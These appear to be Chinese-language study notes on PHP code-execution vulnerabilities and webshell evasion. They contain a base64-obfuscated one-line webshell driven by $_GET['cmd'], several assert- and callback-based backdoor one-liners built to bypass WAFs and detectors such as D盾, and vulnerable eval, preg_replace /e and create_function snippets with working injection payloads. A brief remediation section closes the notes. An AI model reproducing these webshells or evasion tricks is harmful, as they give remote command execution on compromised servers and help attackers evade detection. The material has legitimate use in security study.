免杀
传入变量用base64加密
并在其中添加一些乱码 截取时用substr从正常代码处开始
base64_decode
分析蚁剑
写入文件
fopen fwrite 三元
读取文件
fopen fread 三元
删除文件夹
首先:判断是否是一个文件夹
如果是文件夹,那么就需要遍历里面的文件.
注意事项如果遍历的是.或者..那么就不执行删除指令)
遍历到非.或者非..在去检测是否是一个文件,如果是一个文件那么就执行unlik操作,遍历到最后在执行rmdir删除文件夹
shell 命令
D盾防火墙 可用于测试免杀
百度在线webshell检测 河马
<?php
function xxx($a){
return $a;
}
$str = $_GET['cmd'];
$x= base64_decode(substr($str,7));
$c='x';
$v='xx';
$vg=$c.$v;
$hg=$vg($x);
$hg('phpinfo();');
原理
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval
函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时
没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。
相关函数
Eval() 是一个语言构造器而不是一个函数,不能被可变函数调用
assert() 在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。
preg_replace() +/e模式
create_function()
array_map ()
call_user_func()
array_filter()
usort_() uasort (
GET['a']($GET['b']);//a=assert&b=phpinfo (
eval
会有一些限制
${} 会优先执行
闭合+注释 %23
1. ');phpinfo();#
<?php
//关闭方法
$data=$_GET[‘data’];
eval(“\$ret = strtolower(‘$data’);”);
echo $ret;
?>
2. ");phpinfo();%23
<?php
$data=$_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
?>
3.
assert
动态调用不能超过7.1
动态调用绕过waf
$a='ass'
$b='ert';
$c=$a.$b;
$c($_GET['cmd']);
preg_replace()
不能超过5.6
第一个参数要有 /e
第二个参数是否可控 =>替换成何值
第三个参数应该包含第一个参数
1.phpinfo()
<?php
$a = $_GET['a'];
echo preg_replace("/test/e", $a, "just test!")
?>
2. <data>${phpinfo()};</data>
<?php
$data=$_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e', '$ret="\\1";', $data);
echo $ret;
?>
create_function()
也可动态调用 7.2以下适用 8.0移除
create_function('$a,$b',$c)相当于
create_function($a,$b){c}
所以闭合时要记得{}.
1."],phpinfo());}/*
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
$func = create_function('$a,$b', $sort_function);
$func(1,$sort_by);
?>
array_map()
$a=[$_GET['cmd']];
$b = array_map('assert', $a);
print_r($b);
相当于 assert($a);
1. func=assert&cmd=phpinfo();
<?php
$func = $_GET['func'];
$cmd = $_GET['cmd'];
$array[0] = $cmd;
$new_array = array_map($func, $array);
echo $new_array;
call_user_func
把第一个参数作为回调函数调用
其余参数是回调函数的参数
call_user_func_array
版本皆适用
1.
<?php
call_user_func("assert",$_GET['cmd']);
array_filter()
数组,回调函数
版本皆适用
1. <?php highlight_file(__FILE__); $array[0] = $_GET['a']; array_filter($array,'assert'); ?>
补充
$_GET['a']($_GET['b']);
usort
$a=['hehe',$GET['a'],'haha'];
function xxx($num1,$num2)
{
assert($num1);
return -1;
}
usort($a,"xxx");
漏洞修复方案
对于eval()等函数一定要保证用户不能轻易接触eval或者其他代码执行的的 参数或者用正则严格(preg replace/e)判断输入的数据格式。 对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes() 对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个 参数中不可控,对于正则匹配出的对象,用单引号包裹
